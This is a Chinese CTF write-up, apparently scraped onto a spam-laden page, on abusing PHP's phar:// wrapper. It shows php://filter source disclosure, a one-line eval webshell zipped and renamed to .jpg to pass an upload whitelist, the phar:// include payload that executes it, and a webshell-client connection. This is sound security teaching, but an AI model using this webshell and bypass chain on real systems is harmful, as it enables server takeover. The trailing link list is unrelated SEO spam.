当前位置: 首页 > news >正文

www开头网站怎么做最新战争新闻事件今天

www开头网站怎么做,最新战争新闻事件今天,虚拟主机 安装wordpress,ps做的网站怎样在dw里打开一.phar协议 用于将多个 PHP 文件、类、库、资源(如图像、样式表)等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含(include)或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库&#xff0c…

一.phar协议

用于将多个 PHP 文件、类、库、资源(如图像、样式表)等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含(include)或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库,尤其是当它们包含许多文件和目录时

1.格式

将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg)

phar://shell.jpg/shell.php

2.实操

点击题目链接,空白页面,查看源代码,发现include.php
在这里插入图片描述
include.php的源代码,有一个upload.php,且告诉参数是file
在这里插入图片描述
访问upload,是文件上传页面,上传木马文件发现不行
在这里插入图片描述
通过php://fifter,查看upload.php和include.php的源代码,(php伪协议)

?file=php://filter/read=convert.base64-encode/resource=include.php发现报错,分析报错原因,知道它强制加后缀.php,这样图片马就上传不了

在这里插入图片描述

?file=php://filter/read=convert.base64-encode/resource=include

在这里插入图片描述
base64解码在这里插入图片描述代码分析,过滤了http|data|ftp|input|%00等字样,还强制在后缀加.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php@$file = $_GET["file"];if(isset($file)){if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70){echo "<p> error! </p>";}else{include($file.'.php');}}
?>

同样方法得到upload.php

代码分析,只是一个白名单过滤,对文件的后缀和文件类型进行判断

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form><?php
if(!empty($_FILES["file"]))
{echo $_FILES["file"];$allowedExts = array("gif", "jpeg", "jpg", "png");@$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)){move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];}else{echo "upload failed!";}
}
?>
上传shell.jpg,这个文件是shell.php压缩后,将.zip后缀改为.jpg后缀shell.php内容:<?php @eval($_POST[c]);?>
payload:
http://hazelshishuaige.club:8040/include.php?file=phar://upload/shell.jpg/shell

在这里插入图片描述
蚁剑连接
在这里插入图片描述flag在根目录下
在这里插入图片描述

http://www.dinnco.com/news/15657.html

相关文章:

  • 禄劝彝族苗族网站建设谷歌商店下载
  • 营口网站建设单位十大营销策略
  • 网络优化工程师证书谷歌搜索优化seo
  • 拍卖网站建设方案大泽山seo快速排名
  • 织梦网站地图模板网站外链平台
  • 怎么查到代码是哪个网站做的优化防疫措施
  • 陕西公路工程建设有限公司网站广州高端网站建设公司
  • 怎么做同城网站数据分析工具
  • 西安微信网站开发视频号视频怎么看下载链接
  • 做图片格式跟尺度用哪个网站好谷歌seo外包公司哪家好
  • 上传到网站空间网络营销的基本特征有哪七个
  • 网站建设协议书范本seo在线优化排名
  • 送菜上门网站app如何做网站关键词优化教程
  • 专业做网站电话郑州网络推广哪家口碑好
  • 昆山网站建设有网站模板怎么建站
  • 低调赚大钱的灰色行业百度seo点击
  • 博彩导航网站开发北京做网页的公司
  • 达州做网站哪里可以免费推广广告
  • 网站的图文链接怎么做的谷歌收录提交入口
  • php网站开发图文教程seo排名技术软件
  • 网站制作的目的百度点击器找名风
  • 公司网站怎样添加和修改内容举三个成功的新媒体营销案例
  • 网站高速下载如何做全网推广方案
  • 做网站需要那些编程语言seo综合查询网站
  • 冷色调网站上海百度seo
  • 美国城市建设网站扬州网络优化推广
  • 哪个网站的品牌特卖做的好郑州seo公司排名
  • 免费网站收录网站推广外贸公司一般怎么找客户
  • 创业网站建设规划书国内电商平台有哪些
  • 网站设计费 建设费入什么科目网站快速收录入口